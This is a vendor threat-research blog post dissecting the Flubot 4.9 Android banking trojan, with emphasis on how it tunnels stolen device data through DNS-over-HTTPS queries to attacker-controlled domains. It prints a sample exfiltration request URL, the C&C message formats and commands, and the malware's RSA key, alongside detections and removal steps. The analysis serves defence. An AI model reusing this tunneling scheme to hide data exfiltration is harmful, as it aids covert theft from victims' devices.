A closer look at Flubot's DoH tunneling
Threats & Research
Flubot is an Android banking trojan, first seen in December 2020, which has gained traction in 2021 and compromised a huge number of devices worldwide, including significant incidents in Spain and Finland. It is capable of stealing information, including credentials, without the user’s knowledge. In November 2021, a new Flubot campaign using version 4.9 targeted users in Finland. The malware would pose as either the DHL delivery service app or a voicemailing app. The following blog post will take a closer look at Flubot version 4.9, and in particular its Command and Control (C&C) communication, based on the data WithSecure gathered during that campaign.
The analysis will be based on the following sample:
- SHA256: 6fad2cc09af5394d6f0fd2337bc58cc5f7fadc41df43a64f28d0447bc5bedf4b
- SHA1: 30c9279dcd665181c2242446027597e192c1fb36
- Application name: Voicemail
- Package name: com.snda.wifilocating
- Main Activity: com.snda.wifilocating.p50fa9510
Similarities with previous campaigns
WithSecure first reported on this threat back on April 2021 through a blog post available at https://blog.f-secure.com/flubot-android-malware/ (English), and at the beginning of December when Flubot was targeting Finnish users https://blog.f-secure.com/fi/flubot-haittaohjelma/ (Finnish).
The infection vector used to spread Flubot version 4.9 was the same as in previous campaigns i.e. SMS phishing. As stated by the Finnish National Security Center on a blog post from November 25th 2021, users were receiving SMS messages about parcel deliveries containing a link that, if clicked on, would lead to the download and installation of the malicious app. Additional information provided by Finland’s National Cyber Security Centre (NCSC-FI) can be found at https://www.kyberturvallisuuskeskus.fi/en/be-aware-malware-spread-sms (English) and https://www.kyberturvallisuuskeskus.fi/fi/ajankohtaista/julkaisimme-vakavan-varoituksen-tekstiviestitse-levitettavasta-haittaohjelmasta (Finnish).
Flubot’s infection chain is described in the image below.
Flubot’s infection chain
As shown in the previous figure, Flubot can execute many malicious actions, the main ones being performing overlay attacks, stealing the contact list from the infected phone and spreading to targeted contacts via SMS messages.
- Overlay attacks are used to impersonate targeted apps by displaying a fake WebView containing HTML code (i.e. an inject) over legitimate apps to steal the information typed by the user.
- The content of the malicious SMS sent to the targeted contacts is fetched from the C&C server.
As with previous versions of the Flubot trojan, the 4.9 version’s main goal remained the same in this campaign, which is to perform overlay attacks to steal credentials from banking and cryptocurrency wallet apps as well as one time passwords received by SMS message.
Flubot still abuses the accessibility services, a feature created to assist users with disabilities, to grant itself these additional permissions:
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.WRITE_SMS
android.permission.READ_CONTACTS
android.permission.CALL_PHONE
android.permission.READ_SMS
android.permission.REQUEST_DELETE_PACKAGES
android.permission.FOREGROUND_SERVICE
android.permission.QUERY_ALL_PACKAGES
android.permission.VIBRATE
android.permission.KILL_BACKGROUND_PROCESSES
android.permission.INTERNET
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.ACCESS_NETWORK_STATE
android.permission.WAKE_LOCK
android.permission.READ_PHONE_STATE
Flubot requesting the accessibility services
Warning about the accessibility services
Due to the accessibility rights granted by the user, Flubot becomes a device administrator app which makes its removal difficult. The following error message is display if a user tries to remove Flubot:
"You can not perform this action on a system service."
Flubot will also request the user to give it notification access, which will allow it to read and/or block notifications.
Flubot requesting notification access
Warning about the notification access
After obtaining that access, it will automatically become the default messaging app without any user interaction, which will allow it to read, send, or block SMS messages.
Flubot becomes the default SMS app
Flubot’s messaging app
Flubot still uses a Domain Generation Algorithm (DGA) to obtain its C&C domain names. The goal is to quickly switch domains if one of them gets taken down. DNS-over-HTTPS (DOH) is used to exchange information with the C&C. The advantage for the threat actors is that requests are encrypted making it more difficult to identify the suspicious traffic.
Analysis
The following analysis is an overview of Flubot’s capabilities in version 4.9, with a particular focus on the C&C communication.
Identifying the malicious Java code
The sample was loaded into JADX-GUI, a DEX to Java decompiler, to obtain the decompiled Java code and to do further analysis. However the main package com.snda.wifilocating was empty. It turns out that the malware will decompress a Zlib file from the assets and decrypt it to obtain a Dalvik EXecutable (DEX) file. That DEX file will then be dynamically loaded and contains the malicious code.
$ file assets/gfIfIYy/hdhvvdih91.xfY
assets/gfIfIYy/hdhvvdih91.xfY: zlib compressed data
Instead of reverse-engineering the decryption routine, the sample was executed in an emulator.
Upon loading the malicious DEX file, the malware deletes it from its directory. Frida, a dynamic code instrumentation toolkit, was used to prevent the deletion from happening.
Inside the malicious DEX file, the function names and attributes were obfuscated. The strings were also encrypted using a per class lookup table and XOR encryption (e.g. $(370,374,31027)).
Encrypted strings in Flubot
A Python script was created to replace all the function calls by their result to obtain the plain strings in order to facilitate the analysis of the code.
Plain strings in Flubot
Flubot’s initial actions
Flubot starts by generating a Universal Unique IDentifier (UUID), for example 123e4567-e89b-12d3-a456-426614174000. That value is saved without the dashes in its shared preferences file, which is an eXtensible Markup Language (XML) file used to store application data in the form of a key/value pair. The XML file itself is located inside the folder "/data/data/com.snda.wifilocating/shared_prefs".
Flubot will also try to obtain the IP address of the infected phone by reaching out to the following IP providers:
- ipinfo[.]io/ip
- icanhazip[.]com/
- api64[.]ipify[.]org/
- www[.]trackip[.]net/ip
If no value is obtained, the malware will use a dash "-" when sending the IP address to the C&C, otherwise the value will be saved in the shared preferences.
Flubot will determine the phone’s language to obtain the country calling code. In this sample, if the system language is set to “ka” i.e. Georgian, then Flubot will not infect the device.
The malware will calculate a DGA seed, based on the month and year of the infection, which is used to generate 5000 C&C domain names, all 15 characters long and ending with either “.ru”, “.su” or “.cn”.
C&C commands
The following list contains the commands sent by the C&C server to Flubot:
- UNINSTALL_APP: Uninstall the malware from the phone.
- SMS_INT_TOGGLE: Intercept SMS messages.
- UPLOAD_SMS: Retrieve SMS information.
- OPEN_URL: Open a webpage based on the provided URL.
- NOTIF_INT_TOGGLE: Intercept notifications.
- RUN_USSD: Call Unstructured Supplementary Service Data (USSD) services.
- DISABLE_PLAY_PROTECT: Disable Google’s security mechanism called Play Protect.
- RELOAD_INJECTS: Retrieve the injects from the C&C.
- SEND_SMS: Send a SMS message to a phone number specified by the C&C.
- GET_CONTACTS: Send the contact list to the C&C.
- RETRY_INJECT: Remove the inject payload from the shared preferences.
The following are the commands that the Flubot malware is able to send to the C&C server:
- PREPING,<c2_domain>: Find a working C&C.
- PING,<comma_separated_information>: Send information about the phone.
- LOG,<action>,<information>: Log the malware’s behavior and send it to the C&C for debugging purposes.
- <action> is SMS, CONTACTS, NOTIF, SMS_LIST, BLOCK, SOCKS, INTERCEPTING_ERR_NOT_DEF, INTERCEPTING_ERR_NOTIF, INJECT, EXCEPTION, DISABLE_PLAY_PROTECT
- <information> can be optional, it depends on the <action>.
- GET_INJECTS_LIST,<list_package_names_in_phone>: Send the list of the installed apps to determine those that can be targeted by overlay attacks.
- GET_INJECT,<package_name>: Retrieve the inject of a specific app.
DNS as a C&C channel
Unlike the Flubot versions seen in previous campaigns, this sample does not communicate directly with the C&C server but rather sends requests to publicly available DNS servers with the TXT type response to get the information. For this campaign, it reached out to the following DNS providers:
- CloudFlare DNS: https[:]//cloudflare-dns[.]com/dns-query?name=<request>&type=TXT
- Google DNS: https[:]//dns[.]google/resolve?name=<request>&type=TXT
- NextDNS: https[:]//dns[.]nextdns[.]io/resolve?name=<request>&type=TXT
- Alibaba Cloud DNS: https[:]//dns[.]alidns[.]com/resolve?name=<request>&type=TXT
https[:]//cloudflare-dns[.]com/dns-query?name=798f300c.2.1.4NLIV5GLKFX6Z2JE6TPBEUMKPRKKSGHUEYFGIQNSS4HOR3GFQO6PGCMI5YJKBSB.IK5XFEVIV3EC2C2MNEJKUPNWNU27SU3WACGD4YARQ.yacwryqiccwhlvm.ru&type=TXT
{
"Status":0,
"TC":false,
"RD":true,
"RA":true,
"AD":false,
"CD":false,
"Question":[{
"name":"798f300c.2.1.4NLIV5GLKFX6Z2JE6TPBEUMKPRKKSGHUEYFGIQNSS4HOR3GFQO6PGCMI5YJKBSB.IK5XFEVIV3EC2C2MNEJKUPNWNU27SU3WACGD4YARQ.yacwryqiccwhlvm.ru",
"type":16
}],
"Answer":[{
"name":"798f300c.2.1.4NLIV5GLKFX6Z2JE6TPBEUMKPRKKSGHUEYFGIQNSS4HOR3GFQO6PGCMI5YJKBSB.IK5XFEVIV3EC2C2MNEJKUPNWNU27SU3WACGD4YARQ.yacwryqiccwhlvm.ru",
"type":16,
"TTL":600,
"data":"\"2.1.Wmzf8e9Nd1xVDjh6oRiomD35/MXuMDTvQsAlbq2x4hGKzaDzZG8PAVQj4gYIwZI=\""
}]
}
The C&C reply is available in the "data" field inside the "Answer" field (or in a JSON path: “.Answer[].data”).
The information exchanged between the malware and the C&C is encrypted. The data sent to the C&C is Base32 encoded and RSA/RC4 encrypted, while the C&C reply is Base64 encoded and RC4 encrypted.
C&C communication
The information sent to the C&C will be in the subdomain part of the DNS request. It will be in a dotted format and contain a Base32 encoded message, split across multiple DOH requests to publicly available DNS servers.
Flubot will send C&C requests which will have the following format:
<request_id>.<number_of_the_request>.<is_last_message_1_or_0>.<base32_encoded_encrypted_data>.<c2_domain_name>
Example of request: 798f300c.2.1.4NLIV5GLKFX6Z2JE6TPBEUMKPRKKSGHUEYFGIQNSS4HOR3GFQO6PGCMI5YJKBSB.IK5XFEVIV3EC2C2MNEJKUPNWNU27SU3WACGD4YARQ.yacwryqiccwhlvm.ru
- <request_id>: The first 8 characters of a newly generated UUID, which will be the ID of the request.
- <number_of_the_request>: A counter for the number of messages exchanged in that request, since the information can be split across multiple requests.
- <is_last_message_1_or_0>: A boolean integer to let the C&C know if it is the last message from that request (either 1: last message, or 0: not the last message).
- <base32_encoded_encrypted_data>: Base32 encoded values which will contain the following data if we concatenate all of the information available across the different requests:
<base32_encoded_encrypted_data> = <UUID> <ip_address> <encrypted_data>
where <encrypted_data> = <size_of_the_information_ahead><rsa_encrypted_uuid_rc4_key><rc4_encrypted_command>- <UUID>: the previously generated UUID in plain text.
- <ip_address>: the public IP address of the infected device in plain text.
- <encrypted_data>: encrypted data which will contain:
- <size_of_the_information_ahead>: the size of the information that follows.
- <rsa_encrypted_uuid_rc4_key>: the RSA encrypted string "<UUID>,<rc4_key>".
- <rc4_encrypted_command>: the RC4 encrypted command, for instance PREPING,<c2_domain_name>, sent by the malware.
- <c2_domain_name>: the C&C domain name.
Below is the Base64 encoded value of the RSA public key used to encrypt the data. That key can also be found in samples from as early as 2020.
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQ3YWOM6ycmMrUGB8b3LqUiuXdxFYm/eBxARoAHC/9dC8c6agwdveSqj
3/9hTOM5zTS/OsrYlIT6+ZmmmZrnOfbB+FXq3pCG8/kM6ujvGxY0ANfbGVlfCTOnd+jKVHH1YhPT55aAY5K0C0EACXoV+TyyjReA
tzC2xn4gI/tklOOfK2/17qaOIuYLneGHRuklmM/BVMvlg9st4If6WYyntcX6RZtY7Usks7MWVhFOpzYlLN02b/FAPWjbgOPehZUq
z8WGAuHFjuAX99c65nsYm1UT9IYypQXx3KJMBeJr1Yr4VUkkPMRqgAbKacWvgDywkJuYOcbfz8Om8a+8TVaojwIDAQAB
Every request to the C&C will use a different RC4 key to encrypt the command, which will be a 10 characters long lowercased alphabetic string (or in a regex format: [a-z]{10}), which makes it harder to decrypt the C&C communication since the key is always changing.
To find a working C&C, the malware will send the command PREPING,<c2_domain_name>. If a valid domain name is found, the publicly available DNS servers will reply with a nameserver (NS) record. The nameserver record indicates which DNS server is authoritative for that domain, meaning which server contains the actual DNS records. In this case, DNS works as a C&C channel because the malware authors have set a NS record for the C&C domain names pointing to an IP address that they control. Therefore they will also receive the DNS request, which contains the exfiltrated information in the subdomain part, on their authoritative name server.
Once a working C&C server has been found, its value is saved in the shared preferences. Flubot will then send a PING command every couple of seconds, which looks like the following:
PING,<flubot_version>,<android_version>,<manufacturer>,<model>,<language>,<uptime_in_seconds>,<operator_name>,<is_default_sms_app_1_or_0>,<1_or_0>
At that point, a C&C channel has been established. The C&C replies look similar to the C&C requests and will have the following format:
<number_of_the_request>.<is_last_message_1_or_0>.<base64_encoded_rc4_encrypted_data>
Example of reply: 2.1.Wmzf8e9Nd1xVDjh6oRiomD35/MXuMDTvQsAlbq2x4hGKzaDzZG8PAVQj4gYIwZI=
- <number_of_the_request>: A counter for the number of messages exchanged in that request, since the information can be split across multiple requests
- <is_last_message_1_or_0>: A boolean integer to let Flubot know if it is the last message from that request (either 1: last message, or 0: not the last message).
- <base64_encoded_rc4_encrypted_data>: Base64 encoded and RC4 encrypted data which will contain the C&C reply. This value will only be present in the reply once the C&C has received all the messages from Flubot’s request.
The decrypted C&C replies will always start with "<UUID>,<rc4_key>", so the malware can verify that the information received is the reply to the original request, followed by the C&C’s command:
498BF186F93F4CB6A5EFCF41931935A4,hndomkikmkGET_SMS
Shared Preferences
Flubot will store the following information in its shared preferences:
Key | Description |
---|---|
d | The IP address of the user’s phone |
b | The package name of the previous SMS app, once Flubot becomes the default SMS app |
f | The domain name of the last working C&C |
a | A generated UUID value, without the dashes, to be used as an identifier for the phone |
c | A boolean that determines if the phone’s notifications are blocked |
<package_name_hashcode> | The inject used in the overlay attack |
Here is an example of Flubot’s shared preferences:
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="d">ip_address_phone</string>
<string name="a">32_hex_value</string>
<string name="f">c2_domain_name</string>
<string name="b">package_name_of_messaging_app</string>
</map>
Overlay attacks
Flubot will first get the list of the installed apps and send it to its C&C by using the command GET_INJECTS_LIST,<list_package_names_in_phone>. The C&C will respond with the list of apps that are targeted. Then the malware will get the injects for each one of them from the C&C by using the command GET_INJECT,<package_name>. Unfortunately, during the analysis, the injects could not be retrieved.
F-Secure’s telemetry
According to WithSecure’s telemetry, there was an increase in the number of Flubot detections in Finland related to that specific campaign starting on the 24th of November 2021.
WithSecure’s telemetry
In our observation, Flubot was distributed as the following:
- An app called “Voicemail”, first seen using the package name “com.snda.wifilocating”; it then shifted to using other package names such as “com.tencent.mobileqq”.
- a DHL app.
Flubot’s Voicemail app logo
Flubot’s DHL app logo
Flubot samples are detected by our product as follows, where the asterisk "*" refers to the family variants:
- ANDROID/Anubis.*
- Android/Drop.Agent.*
- ANDROID/Dropper.*
- ANDROID/Flubot.*
- Trojan:Android/Flubot.A!fsmind
Removal methods
Multiple methods exist to uninstall the malware:
- Do a factory reset of the phone, which will delete all user data including Flubot.
- Start the phone in Safe mode, usually by pressing on the power button and long press on the Restart option, and uninstall it via the Settings.
- Use the Android Debug Bridge (ADB) tool. The phone needs to be in developer mode with ADB enabled. Here are the commands to remove the malware from the system apps:
$ adb shell pm disable-user <package_name>
$ adb uninstall <package_name>
Conclusion
Flubot is one of the most effective banking trojans in 2021 due to its sophistication and fast paced development. As shown in this blog post, Flubot keeps on improving its capabilities, and in particular its C&C communication, to become stealthier, more difficult to detect and to remove.
Related posts
5 phases of a cyber attack: The attacker’s view
Cyber security is not something you do once and then you’re done. It is a continuous process that should be part of everything you do. However, no one has the resources to do everything perfectly. Thus, your goal should be constant improvement.
Read moreOf Cameras & Compromise: How IoT Could Dull Your Competitive Edge
The Internet of Things is here. And with it are exciting possibilities, cost savings and efficiencies. But there’s a dark side to this bright new world, and it can be summed up in what we call Hypponen’s Law: If it’s smart, it’s vulnerable.
Read moreHow to decompile any Python binary
At WithSecure we often encounter binary payloads that are generated from compiled Python. These are usually generated with tools such as py2exe or PyInstaller to create a Windows executable.
Read moreThe Chilling Reality of Cold Boot Attacks
What do you do when you finish working with your laptop? Do you turn it off? Put it to sleep? Just close the lid and walk away?
Read more